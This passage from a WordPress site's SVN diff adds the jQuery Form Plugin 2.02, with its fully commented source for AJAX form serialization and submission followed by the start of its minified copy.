a={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.dev.js	(revision 44)
@@ -0,0 +1,872 @@
+/*
+ * jQuery Form Plugin
+ * version: 2.02 (12/16/2007)
+ * @requires jQuery v1.1 or later
+ *
+ * Examples at: http://malsup.com/jquery/form/
+ * Dual licensed under the MIT and GPL licenses:
+ *   http://www.opensource.org/licenses/mit-license.php
+ *   http://www.gnu.org/licenses/gpl.html
+ *
+ * Revision: $Id$
+ */
+ (function($) {
+/**
+ * ajaxSubmit() provides a mechanism for submitting an HTML form using AJAX.
+ *
+ * ajaxSubmit accepts a single argument which can be either a success callback function
+ * or an options Object.  If a function is provided it will be invoked upon successful
+ * completion of the submit and will be passed the response from the server.
+ * If an options Object is provided, the following attributes are supported:
+ *
+ *  target:   Identifies the element(s) in the page to be updated with the server response.
+ *            This value may be specified as a jQuery selection string, a jQuery object,
+ *            or a DOM element.
+ *            default value: null
+ *
+ *  url:      URL to which the form data will be submitted.
+ *            default value: value of form's 'action' attribute
+ *
+ *  type:     The method in which the form data should be submitted, 'GET' or 'POST'.
+ *            default value: value of form's 'method' attribute (or 'GET' if none found)
+ *
+ *  data:     Additional data to add to the request, specified as key/value pairs (see $.ajax).
+ *
+ *  beforeSubmit:  Callback method to be invoked before the form is submitted.
+ *            default value: null
+ *
+ *  success:  Callback method to be invoked after the form has been successfully submitted
+ *            and the response has been returned from the server
+ *            default value: null
+ *
+ *  dataType: Expected dataType of the response.  One of: null, 'xml', 'script', or 'json'
+ *            default value: null
+ *
+ *  semantic: Boolean flag indicating whether data must be submitted in semantic order (slower).
+ *            default value: false
+ *
+ *  resetForm: Boolean flag indicating whether the form should be reset if the submit is successful
+ *
+ *  clearForm: Boolean flag indicating whether the form should be cleared if the submit is successful
+ *
+ *
+ * The 'beforeSubmit' callback can be provided as a hook for running pre-submit logic or for
+ * validating the form data.  If the 'beforeSubmit' callback returns false then the form will
+ * not be submitted. The 'beforeSubmit' callback is invoked with three arguments: the form data
+ * in array format, the jQuery object, and the options object passed into ajaxSubmit.
+ * The form data array takes the following form:
+ *
+ *     [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ]
+ *
+ * If a 'success' callback method is provided it is invoked after the response has been returned
+ * from the server.  It is passed the responseText or responseXML value (depending on dataType).
+ * See jQuery.ajax for further details.
+ *
+ *
+ * The dataType option provides a means for specifying how the server response should be handled.
+ * This maps directly to the jQuery.httpData method.  The following values are supported:
+ *
+ *      'xml':    if dataType == 'xml' the server response is treated as XML and the 'success'
+ *                   callback method, if specified, will be passed the responseXML value
+ *      'json':   if dataType == 'json' the server response will be evaluted and passed to
+ *                   the 'success' callback, if specified
+ *      'script': if dataType == 'script' the server response is evaluated in the global context
+ *
+ *
+ * Note that it does not make sense to use both the 'target' and 'dataType' options.  If both
+ * are provided the target will be ignored.
+ *
+ * The semantic argument can be used to force form serialization in semantic order.
+ * This is normally true anyway, unless the form contains input elements of type='image'.
+ * If your form must be submitted with name/value pairs in semantic order and your form
+ * contains an input of type='image" then pass true for this arg, otherwise pass false
+ * (or nothing) to avoid the overhead for this logic.
+ *
+ *
+ * When used on its own, ajaxSubmit() is typically bound to a form's submit event like this:
+ *
+ * $("#form-id").submit(function() {
+ *     $(this).ajaxSubmit(options);
+ *     return false; // cancel conventional submit
+ * });
+ *
+ * When using ajaxForm(), however, this is done for you.
+ *
+ * @example
+ * $('#myForm').ajaxSubmit(function(data) {
+ *     alert('Form submit succeeded! Server returned: ' + data);
+ * });
+ * @desc Submit form and alert server response
+ *
+ *
+ * @example
+ * var options = {
+ *     target: '#myTargetDiv'
+ * };
+ * $('#myForm').ajaxSubmit(options);
+ * @desc Submit form and update page element with server response
+ *
+ *
+ * @example
+ * var options = {
+ *     success: function(responseText) {
+ *         alert(responseText);
+ *     }
+ * };
+ * $('#myForm').ajaxSubmit(options);
+ * @desc Submit form and alert the server response
+ *
+ *
+ * @example
+ * var options = {
+ *     beforeSubmit: function(formArray, jqForm) {
+ *         if (formArray.length == 0) {
+ *             alert('Please enter data.');
+ *             return false;
+ *         }
+ *     }
+ * };
+ * $('#myForm').ajaxSubmit(options);
+ * @desc Pre-submit validation which aborts the submit operation if form data is empty
+ *
+ *
+ * @example
+ * var options = {
+ *     url: myJsonUrl.php,
+ *     dataType: 'json',
+ *     success: function(data) {
+ *        // 'data' is an object representing the the evaluated json data
+ *     }
+ * };
+ * $('#myForm').ajaxSubmit(options);
+ * @desc json data returned and evaluated
+ *
+ *
+ * @example
+ * var options = {
+ *     url: myXmlUrl.php,
+ *     dataType: 'xml',
+ *     success: function(responseXML) {
+ *        // responseXML is XML document object
+ *        var data = $('myElement', responseXML).text();
+ *     }
+ * };
+ * $('#myForm').ajaxSubmit(options);
+ * @desc XML data returned from server
+ *
+ *
+ * @example
+ * var options = {
+ *     resetForm: true
+ * };
+ * $('#myForm').ajaxSubmit(options);
+ * @desc submit form and reset it if successful
+ *
+ * @example
+ * $('#myForm).submit(function() {
+ *    $(this).ajaxSubmit();
+ *    return false;
+ * });
+ * @desc Bind form's submit event to use ajaxSubmit
+ *
+ *
+ * @name ajaxSubmit
+ * @type jQuery
+ * @param options  object literal containing options which control the form submission process
+ * @cat Plugins/Form
+ * @return jQuery
+ */
+$.fn.ajaxSubmit = function(options) {
+    if (typeof options == 'function')
+        options = { success: options };
+
+    options = $.extend({
+        url:  this.attr('action') || window.location.toString(),
+        type: this.attr('method') || 'GET'
+    }, options || {});
+
+    // hook for manipulating the form data before it is extracted;
+    // convenient for use with rich editors like tinyMCE or FCKEditor
+    var veto = {};
+    $.event.trigger('form.pre.serialize', [this, options, veto]);
+    if (veto.veto) return this;
+
+    var a = this.formToArray(options.semantic);
+	if (options.data) {
+	    for (var n in options.data)
+	        a.push( { name: n, value: options.data[n] } );
+	}
+
+    // give pre-submit callback an opportunity to abort the submit
+    if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) return this;
+
+    // fire vetoable 'validate' event
+    $.event.trigger('form.submit.validate', [a, this, options, veto]);
+    if (veto.veto) return this;
+
+    var q = $.param(a);//.replace(/%20/g,'+');
+
+    if (options.type.toUpperCase() == 'GET') {
+        options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q;
+        options.data = null;  // data is null for 'get'
+    }
+    else
+        options.data = q; // data is the query string for 'post'
+
+    var $form = this, callbacks = [];
+    if (options.resetForm) callbacks.push(function() { $form.resetForm(); });
+    if (options.clearForm) callbacks.push(function() { $form.clearForm(); });
+
+    // perform a load on the target only if dataType is not provided
+    if (!options.dataType && options.target) {
+        var oldSuccess = options.success || function(){};
+        callbacks.push(function(data) {
+            if (this.evalScripts)
+                $(options.target).attr("innerHTML", data).evalScripts().each(oldSuccess, arguments);
+            else // jQuery v1.1.4
+                $(options.target).html(data).each(oldSuccess, arguments);
+        });
+    }
+    else if (options.success)
+        callbacks.push(options.success);
+
+    options.success = function(data, status) {
+        for (var i=0, max=callbacks.length; i < max; i++)
+            callbacks[i](data, status, $form);
+    };
+
+    // are there files to upload?
+    var files = $('input:file', this).fieldValue();
+    var found = false;
+    for (var j=0; j < files.length; j++)
+        if (files[j])
+            found = true;
+
+    // options.iframe allows user to force iframe mode
+   if (options.iframe || found) { 
+       // hack to fix Safari hang (thanks to Tim Molendijk for this)
+       // see:  http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
+       if ($.browser.safari && options.closeKeepAlive)
+           $.get(options.closeKeepAlive, fileUpload);
+       else
+           fileUpload();
+       }
+   else
+       $.ajax(options);
+
+    // fire 'notify' event
+    $.event.trigger('form.submit.notify', [this, options]);
+    return this;
+
+
+    // private function for handling file uploads (hat tip to YAHOO!)
+    function fileUpload() {
+        var form = $form[0];
+        var opts = $.extend({}, $.ajaxSettings, options);
+
+        var id = 'jqFormIO' + $.fn.ajaxSubmit.counter++;
+        var $io = $('<iframe id="' + id + '" name="' + id + '" />');
+        var io = $io[0];
+        var op8 = $.browser.opera && window.opera.version() < 9;
+        if ($.browser.msie || op8) io.src = 'javascript:false;document.write("");';
+        $io.css({ position: 'absolute', top: '-1000px', left: '-1000px' });
+
+        var xhr = { // mock object
+            responseText: null,
+            responseXML: null,
+            status: 0,
+            statusText: 'n/a',
+            getAllResponseHeaders: function() {},
+            getResponseHeader: function() {},
+            setRequestHeader: function() {}
+        };
+
+        var g = opts.global;
+        // trigger ajax global events so that activity/block indicators work like normal
+        if (g && ! $.active++) $.event.trigger("ajaxStart");
+        if (g) $.event.trigger("ajaxSend", [xhr, opts]);
+
+        var cbInvoked = 0;
+        var timedOut = 0;
+
+        // take a breath so that pending repaints get some cpu time before the upload starts
+        setTimeout(function() {
+            // make sure form attrs are set
+            var encAttr = form.encoding ? 'encoding' : 'enctype';
+            var t = $form.attr('target');
+            $form.attr({
+                target:   id,
+                method:  'POST',
+                action:   opts.url
+            });
+            form[encAttr] = 'multipart/form-data';
+
+            // support timout
+            if (opts.timeout)
+                setTimeout(function() { timedOut = true; cb(); }, opts.timeout);
+
+            // add iframe to doc and submit the form
+            $io.appendTo('body');
+            io.attachEvent ? io.attachEvent('onload', cb) : io.addEventListener('load', cb, false);
+            form.submit();
+            $form.attr('target', t); // reset target
+        }, 10);
+
+        function cb() {
+            if (cbInvoked++) return;
+
+            io.detachEvent ? io.detachEvent('onload', cb) : io.removeEventListener('load', cb, false);
+
+            var ok = true;
+            try {
+                if (timedOut) throw 'timeout';
+                // extract the server response from the iframe
+                var data, doc;
+                doc = io.contentWindow ? io.contentWindow.document : io.contentDocument ? io.contentDocument : io.document;
+                xhr.responseText = doc.body ? doc.body.innerHTML : null;
+                xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc;
+
+                if (opts.dataType == 'json' || opts.dataType == 'script') {
+                    var ta = doc.getElementsByTagName('textarea')[0];
+                    data = ta ? ta.value : xhr.responseText;
+                    if (opts.dataType == 'json')
+                        eval("data = " + data);
+                    else
+                        $.globalEval(data);
+                }
+                else if (opts.dataType == 'xml') {
+                    data = xhr.responseXML;
+                    if (!data && xhr.responseText != null)
+                        data = toXml(xhr.responseText);
+                }
+                else {
+                    data = xhr.responseText;
+                }
+            }
+            catch(e){
+                ok = false;
+                $.handleError(opts, xhr, 'error', e);
+            }
+
+            // ordering of these callbacks/triggers is odd, but that's how $.ajax does it
+            if (ok) {
+                opts.success(data, 'success');
+                if (g) $.event.trigger("ajaxSuccess", [xhr, opts]);
+            }
+            if (g) $.event.trigger("ajaxComplete", [xhr, opts]);
+            if (g && ! --$.active) $.event.trigger("ajaxStop");
+            if (opts.complete) opts.complete(xhr, ok ? 'success' : 'error');
+
+            // clean up
+            setTimeout(function() {
+                $io.remove();
+                xhr.responseXML = null;
+            }, 100);
+        };
+
+        function toXml(s, doc) {
+            if (window.ActiveXObject) {
+                doc = new ActiveXObject('Microsoft.XMLDOM');
+                doc.async = 'false';
+                doc.loadXML(s);
+            }
+            else
+                doc = (new DOMParser()).parseFromString(s, 'text/xml');
+            return (doc && doc.documentElement && doc.documentElement.tagName != 'parsererror') ? doc : null;
+        };
+    };
+};
+$.fn.ajaxSubmit.counter = 0; // used to create unique iframe ids
+
+/**
+ * ajaxForm() provides a mechanism for fully automating form submission.
+ *
+ * The advantages of using this method instead of ajaxSubmit() are:
+ *
+ * 1: This method will include coordinates for <input type="image" /> elements (if the element
+ *    is used to submit the form).
+ * 2. This method will include the submit element's name/value data (for the element that was
+ *    used to submit the form).
+ * 3. This method binds the submit() method to the form for you.
+ *
+ * Note that for accurate x/y coordinates of image submit elements in all browsers
+ * you need to also use the "dimensions" plugin (this method will auto-detect its presence).
+ *
+ * The options argument for ajaxForm works exactly as it does for ajaxSubmit.  ajaxForm merely
+ * passes the options argument along after properly binding events for submit elements and
+ * the form itself.  See ajaxSubmit for a full description of the options argument.
+ *
+ *
+ * @example
+ * var options = {
+ *     target: '#myTargetDiv'
+ * };
+ * $('#myForm').ajaxSForm(options);
+ * @desc Bind form's submit event so that 'myTargetDiv' is updated with the server response
+ *       when the form is submitted.
+ *
+ *
+ * @example
+ * var options = {
+ *     success: function(responseText) {
+ *         alert(responseText);
+ *     }
+ * };
+ * $('#myForm').ajaxSubmit(options);
+ * @desc Bind form's submit event so that server response is alerted after the form is submitted.
+ *
+ *
+ * @example
+ * var options = {
+ *     beforeSubmit: function(formArray, jqForm) {
+ *         if (formArray.length == 0) {
+ *             alert('Please enter data.');
+ *             return false;
+ *         }
+ *     }
+ * };
+ * $('#myForm').ajaxSubmit(options);
+ * @desc Bind form's submit event so that pre-submit callback is invoked before the form
+ *       is submitted.
+ *
+ *
+ * @name   ajaxForm
+ * @param  options  object literal containing options which control the form submission process
+ * @return jQuery
+ * @cat    Plugins/Form
+ * @type   jQuery
+ */
+$.fn.ajaxForm = function(options) {
+    return this.ajaxFormUnbind().submit(submitHandler).each(function() {
+        // store options in hash
+        this.formPluginId = $.fn.ajaxForm.counter++;
+        $.fn.ajaxForm.optionHash[this.formPluginId] = options;
+        $(":submit,input:image", this).click(clickHandler);
+    });
+};
+
+$.fn.ajaxForm.counter = 1;
+$.fn.ajaxForm.optionHash = {};
+
+function clickHandler(e) {
+    var $form = this.form;
+    $form.clk = this;
+    if (this.type == 'image') {
+        if (e.offsetX != undefined) {
+            $form.clk_x = e.offsetX;
+            $form.clk_y = e.offsetY;
+        } else if (typeof $.fn.offset == 'function') { // try to use dimensions plugin
+            var offset = $(this).offset();
+            $form.clk_x = e.pageX - offset.left;
+            $form.clk_y = e.pageY - offset.top;
+        } else {
+            $form.clk_x = e.pageX - this.offsetLeft;
+            $form.clk_y = e.pageY - this.offsetTop;
+        }
+    }
+    // clear form vars
+    setTimeout(function() { $form.clk = $form.clk_x = $form.clk_y = null; }, 10);
+};
+
+function submitHandler() {
+    // retrieve options from hash
+    var id = this.formPluginId;
+    var options = $.fn.ajaxForm.optionHash[id];
+    $(this).ajaxSubmit(options);
+    return false;
+};
+
+/**
+ * ajaxFormUnbind unbinds the event handlers that were bound by ajaxForm
+ *
+ * @name   ajaxFormUnbind
+ * @return jQuery
+ * @cat    Plugins/Form
+ * @type   jQuery
+ */
+$.fn.ajaxFormUnbind = function() {
+    this.unbind('submit', submitHandler);
+    return this.each(function() {
+        $(":submit,input:image", this).unbind('click', clickHandler);
+    });
+
+};
+
+/**
+ * formToArray() gathers form element data into an array of objects that can
+ * be passed to any of the following ajax functions: $.get, $.post, or load.
+ * Each object in the array has both a 'name' and 'value' property.  An example of
+ * an array for a simple login form might be:
+ *
+ * [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ]
+ *
+ * It is this array that is passed to pre-submit callback functions provided to the
+ * ajaxSubmit() and ajaxForm() methods.
+ *
+ * The semantic argument can be used to force form serialization in semantic order.
+ * This is normally true anyway, unless the form contains input elements of type='image'.
+ * If your form must be submitted with name/value pairs in semantic order and your form
+ * contains an input of type='image" then pass true for this arg, otherwise pass false
+ * (or nothing) to avoid the overhead for this logic.
+ *
+ * @example var data = $("#myForm").formToArray();
+ * $.post( "myscript.cgi", data );
+ * @desc Collect all the data from a form and submit it to the server.
+ *
+ * @name formToArray
+ * @param semantic true if serialization must maintain strict semantic ordering of elements (slower)
+ * @type Array<Object>
+ * @cat Plugins/Form
+ */
+$.fn.formToArray = function(semantic) {
+    var a = [];
+    if (this.length == 0) return a;
+
+    var form = this[0];
+    var els = semantic ? form.getElementsByTagName('*') : form.elements;
+    if (!els) return a;
+    for(var i=0, max=els.length; i < max; i++) {
+        var el = els[i];
+        var n = el.name;
+        if (!n) continue;
+
+        if (semantic && form.clk && el.type == "image") {
+            // handle image inputs on the fly when semantic == true
+            if(!el.disabled && form.clk == el)
+                a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y});
+            continue;
+        }
+
+        var v = $.fieldValue(el, true);
+        if (v && v.constructor == Array) {
+            for(var j=0, jmax=v.length; j < jmax; j++)
+                a.push({name: n, value: v[j]});
+        }
+        else if (v !== null && typeof v != 'undefined')
+            a.push({name: n, value: v});
+    }
+
+    if (!semantic && form.clk) {
+        // input type=='image' are not found in elements array! handle them here
+        var inputs = form.getElementsByTagName("input");
+        for(var i=0, max=inputs.length; i < max; i++) {
+            var input = inputs[i];
+            var n = input.name;
+            if(n && !input.disabled && input.type == "image" && form.clk == input)
+                a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y});
+        }
+    }
+    return a;
+};
+
+
+/**
+ * Serializes form data into a 'submittable' string. This method will return a string
+ * in the format: name1=value1&amp;name2=value2
+ *
+ * The semantic argument can be used to force form serialization in semantic order.
+ * If your form must be submitted with name/value pairs in semantic order then pass
+ * true for this arg, otherwise pass false (or nothing) to avoid the overhead for
+ * this logic (which can be significant for very large forms).
+ *
+ * @example var data = $("#myForm").formSerialize();
+ * $.ajax('POST', "myscript.cgi", data);
+ * @desc Collect all the data from a form into a single string
+ *
+ * @name formSerialize
+ * @param semantic true if serialization must maintain strict semantic ordering of elements (slower)
+ * @type String
+ * @cat Plugins/Form
+ */
+$.fn.formSerialize = function(semantic) {
+    //hand off to jQuery.param for proper encoding
+    return $.param(this.formToArray(semantic));
+};
+
+
+/**
+ * Serializes all field elements in the jQuery object into a query string.
+ * This method will return a string in the format: name1=value1&amp;name2=value2
+ *
+ * The successful argument controls whether or not serialization is limited to
+ * 'successful' controls (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls).
+ * The default value of the successful argument is true.
+ *
+ * @example var data = $("input").formSerialize();
+ * @desc Collect the data from all successful input elements into a query string
+ *
+ * @example var data = $(":radio").formSerialize();
+ * @desc Collect the data from all successful radio input elements into a query string
+ *
+ * @example var data = $("#myForm :checkbox").formSerialize();
+ * @desc Collect the data from all successful checkbox input elements in myForm into a query string
+ *
+ * @example var data = $("#myForm :checkbox").formSerialize(false);
+ * @desc Collect the data from all checkbox elements in myForm (even the unchecked ones) into a query string
+ *
+ * @example var data = $(":input").formSerialize();
+ * @desc Collect the data from all successful input, select, textarea and button elements into a query string
+ *
+ * @name fieldSerialize
+ * @param successful true if only successful controls should be serialized (default is true)
+ * @type String
+ * @cat Plugins/Form
+ */
+$.fn.fieldSerialize = function(successful) {
+    var a = [];
+    this.each(function() {
+        var n = this.name;
+        if (!n) return;
+        var v = $.fieldValue(this, successful);
+        if (v && v.constructor == Array) {
+            for (var i=0,max=v.length; i < max; i++)
+                a.push({name: n, value: v[i]});
+        }
+        else if (v !== null && typeof v != 'undefined')
+            a.push({name: this.name, value: v});
+    });
+    //hand off to jQuery.param for proper encoding
+    return $.param(a);
+};
+
+
+/**
+ * Returns the value(s) of the element in the matched set.  For example, consider the following form:
+ *
+ *  <form><fieldset>
+ *      <input name="A" type="text" />
+ *      <input name="A" type="text" />
+ *      <input name="B" type="checkbox" value="B1" />
+ *      <input name="B" type="checkbox" value="B2"/>
+ *      <input name="C" type="radio" value="C1" />
+ *      <input name="C" type="radio" value="C2" />
+ *  </fieldset></form>
+ *
+ *  var v = $(':text').fieldValue();
+ *  // if no values are entered into the text inputs
+ *  v == ['','']
+ *  // if values entered into the text inputs are 'foo' and 'bar'
+ *  v == ['foo','bar']
+ *
+ *  var v = $(':checkbox').fieldValue();
+ *  // if neither checkbox is checked
+ *  v === undefined
+ *  // if both checkboxes are checked
+ *  v == ['B1', 'B2']
+ *
+ *  var v = $(':radio').fieldValue();
+ *  // if neither radio is checked
+ *  v === undefined
+ *  // if first radio is checked
+ *  v == ['C1']
+ *
+ * The successful argument controls whether or not the field element must be 'successful'
+ * (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls).
+ * The default value of the successful argument is true.  If this value is false the value(s)
+ * for each element is returned.
+ *
+ * Note: This method *always* returns an array.  If no valid value can be determined the
+ *       array will be empty, otherwise it will contain one or more values.
+ *
+ * @example var data = $("#myPasswordElement").fieldValue();
+ * alert(data[0]);
+ * @desc Alerts the current value of the myPasswordElement element
+ *
+ * @example var data = $("#myForm :input").fieldValue();
+ * @desc Get the value(s) of the form elements in myForm
+ *
+ * @example var data = $("#myForm :checkbox").fieldValue();
+ * @desc Get the value(s) for the successful checkbox element(s) in the jQuery object.
+ *
+ * @example var data = $("#mySingleSelect").fieldValue();
+ * @desc Get the value(s) of the select control
+ *
+ * @example var data = $(':text').fieldValue();
+ * @desc Get the value(s) of the text input or textarea elements
+ *
+ * @example var data = $("#myMultiSelect").fieldValue();
+ * @desc Get the values for the select-multiple control
+ *
+ * @name fieldValue
+ * @param Boolean successful true if only the values for successful controls should be returned (default is true)
+ * @type Array<String>
+ * @cat Plugins/Form
+ */
+$.fn.fieldValue = function(successful) {
+    for (var val=[], i=0, max=this.length; i < max; i++) {
+        var el = this[i];
+        var v = $.fieldValue(el, successful);
+        if (v === null || typeof v == 'undefined' || (v.constructor == Array && !v.length))
+            continue;
+        v.constructor == Array ? $.merge(val, v) : val.push(v);
+    }
+    return val;
+};
+
+/**
+ * Returns the value of the field element.
+ *
+ * The successful argument controls whether or not the field element must be 'successful'
+ * (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls).
+ * The default value of the successful argument is true.  If the given element is not
+ * successful and the successful arg is not false then the returned value will be null.
+ *
+ * Note: If the successful flag is true (default) but the element is not successful, the return will be null
+ * Note: The value returned for a successful select-multiple element will always be an array.
+ * Note: If the element has no value the return value will be undefined.
+ *
+ * @example var data = jQuery.fieldValue($("#myPasswordElement")[0]);
+ * @desc Gets the current value of the myPasswordElement element
+ *
+ * @name fieldValue
+ * @param Element el The DOM element for which the value will be returned
+ * @param Boolean successful true if value returned must be for a successful controls (default is true)
+ * @type String or Array<String> or null or undefined
+ * @cat Plugins/Form
+ */
+$.fieldValue = function(el, successful) {
+    var n = el.name, t = el.type, tag = el.tagName.toLowerCase();
+    if (typeof successful == 'undefined') successful = true;
+
+    if (successful && (!n || el.disabled || t == 'reset' || t == 'button' ||
+        (t == 'checkbox' || t == 'radio') && !el.checked ||
+        (t == 'submit' || t == 'image') && el.form && el.form.clk != el ||
+        tag == 'select' && el.selectedIndex == -1))
+            return null;
+
+    if (tag == 'select') {
+        var index = el.selectedIndex;
+        if (index < 0) return null;
+        var a = [], ops = el.options;
+        var one = (t == 'select-one');
+        var max = (one ? index+1 : ops.length);
+        for(var i=(one ? index : 0); i < max; i++) {
+            var op = ops[i];
+            if (op.selected) {
+                // extra pain for IE...
+                var v = $.browser.msie && !(op.attributes['value'].specified) ? op.text : op.value;
+                if (one) return v;
+                a.push(v);
+            }
+        }
+        return a;
+    }
+    return el.value;
+};
+
+
+/**
+ * Clears the form data.  Takes the following actions on the form's input fields:
+ *  - input text fields will have their 'value' property set to the empty string
+ *  - select elements will have their 'selectedIndex' property set to -1
+ *  - checkbox and radio inputs will have their 'checked' property set to false
+ *  - inputs of type submit, button, reset, and hidden will *not* be effected
+ *  - button elements will *not* be effected
+ *
+ * @example $('form').clearForm();
+ * @desc Clears all forms on the page.
+ *
+ * @name clearForm
+ * @type jQuery
+ * @cat Plugins/Form
+ */
+$.fn.clearForm = function() {
+    return this.each(function() {
+        $('input,select,textarea', this).clearFields();
+    });
+};
+
+/**
+ * Clears the selected form elements.  Takes the following actions on the matched elements:
+ *  - input text fields will have their 'value' property set to the empty string
+ *  - select elements will have their 'selectedIndex' property set to -1
+ *  - checkbox and radio inputs will have their 'checked' property set to false
+ *  - inputs of type submit, button, reset, and hidden will *not* be effected
+ *  - button elements will *not* be effected
+ *
+ * @example $('.myInputs').clearFields();
+ * @desc Clears all inputs with class myInputs
+ *
+ * @name clearFields
+ * @type jQuery
+ * @cat Plugins/Form
+ */
+$.fn.clearFields = $.fn.clearInputs = function() {
+    return this.each(function() {
+        var t = this.type, tag = this.tagName.toLowerCase();
+        if (t == 'text' || t == 'password' || tag == 'textarea')
+            this.value = '';
+        else if (t == 'checkbox' || t == 'radio')
+            this.checked = false;
+        else if (tag == 'select')
+            this.selectedIndex = -1;
+    });
+};
+
+
+/**
+ * Resets the form data.  Causes all form elements to be reset to their original value.
+ *
+ * @example $('form').resetForm();
+ * @desc Resets all forms on the page.
+ *
+ * @name resetForm
+ * @type jQuery
+ * @cat Plugins/Form
+ */
+$.fn.resetForm = function() {
+    return this.each(function() {
+        // guard against an input with the name of 'reset'
+        // note that IE reports the reset function as an 'object'
+        if (typeof this.reset == 'function' || (typeof this.reset == 'object' && !this.reset.nodeType))
+            this.reset();
+    });
+};
+
+
+/**
+ * Enables or disables any matching elements.
+ *
+ * @example $(':radio').enabled(false);
+ * @desc Disables all radio buttons
+ *
+ * @name select
+ * @type jQuery
+ * @cat Plugins/Form
+ */
+$.fn.enable = function(b) { 
+    if (b == undefined) b = true;
+    return this.each(function() { 
+        this.disabled = !b 
+    });
+};
+
+/**
+ * Checks/unchecks any matching checkboxes or radio buttons and
+ * selects/deselects and matching option elements.
+ *
+ * @example $(':checkbox').selected();
+ * @desc Checks all checkboxes
+ *
+ * @name select
+ * @type jQuery
+ * @cat Plugins/Form
+ */
+$.fn.select = function(select) {
+    if (select == undefined) select = true;
+    return this.each(function() { 
+        var t = this.type;
+        if (t == 'checkbox' || t == 'radio')
+            this.checked = select;
+        else if (this.tagName.toLowerCase() == 'option') {
+            var $sel = $(this).parent('select');
+            if (select && $sel[0] && $sel[0].type == 'select-one') {
+                // deselect all other options
+                $sel.find('option').select(false);
+            }
+            this.selected = select;
+        }
+    });
+};
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js	(revision 44)
@@ -0,0 +1,1 @@
+(function($){$.fn.ajaxSubmit=function(options){if(typeof options=="function"){options={success:options}}options=$.extend({url:this.attr("action")||window.location.toString(),type:this.attr("method")||"GET"},options||{});var veto={};$.event.trigger("form.pre.serialize",[this,options,veto]);if(veto.veto){return this}var a=this.formToArray(options.semantic);if(options.data){for(var n in options.data){a.push({name:n,value:options.data[n]})}}if(options.beforeSubmit&&options.beforeSubmit(a,this,options)===false){return this}$.event.trigger("form.submit.validate",[a,this,options,veto]);if(veto.veto){return this}var q=$.param(a);if(options.type.toUpperCase()=="GET"){options.url+=(options.url.indexOf("?")>=0?"&":"?")+q;options.data=null}else{options.data=q}var $form=this,callbacks=[];if(options.resetForm){callbacks.push(function(){$form.resetForm()})}if(options.clearForm){callbacks.push(function(){$form.clearForm()})}if(!options.dataType&&options.target){var oldSuccess=options.success||function(){};callbacks.push(function(data){if(this.evalScripts){$(options.target).attr("innerHTML",data).evalScripts().each(oldSuccess,arguments)}else{$(options.target).html(data).each(oldSuccess,arguments)}})}else{if(options.success){callbacks.push(options.success)}}options.success=function(data,status){for(var i=0,max=callbacks.length;i<max;i++){callbacks[i](data,status,$form)}};var files=$("input:file",this).fieldValue();var found=false;for(var j=0;j<files.length;j++){if(files[j]){found=true}}if(options.iframe||found){if($.browser.safari&&options.closeKeepAlive){$.get(options.closeKeepAlive,fileUpload)}else{fileUpload()}}else{$.ajax(options)}$.event.trigger("form.submit.notify",[this,options]);return this;function fileUpload(){var form=$form[0];var opts=$.extend({},$.ajaxSettings,options);var id="jqFormIO"+$.fn.ajaxSubmit.counter++;var $io=$('<iframe id="'+id+'" name="'+id+'" />');var io=$io[0];var op8=$.browser.opera&&window.opera.version()<9;if($.browser.msie||op8){io.src='javascript:false;document.write("");'}$io.css({position:"absolute",top:"-1000px",left:"-1000px"});var xhr={responseText:null,responseXML:null,status:0,statusText:"n/a",getAllResponseHeaders:function(){},getResponseHeader:function(){},setRequestHeader:function(){}};var g=opts.global;if(g&&!$.active++){$.event.trigger("ajaxStart")}if(g){$.event.trigger("ajaxSend",[xhr,opts])}var cbInvoked=0;var timedOut=0;setTimeout(function(){var encAttr=form.encoding?"encoding":"enctype";var t=$form.attr("target");$form.attr({target:id,method:"POST",action:opts.url});form[encAttr]="multipart/form-data";if(opts.timeout){setTimeout(function(){timedOut=true;cb()},opts.timeout)}$io.appendTo("body");io.attachEvent?io.attachEvent("onload",cb):io.addEventListener("load",cb,false);form.submit();$form.attr("target",t)},10);function cb(){if(cbInvoked++){return}io.detachEvent?io.detachEvent("onload",cb):io.removeEventListener("load",cb,false);var ok=true;try{if(timedOut){throw"timeout"}var 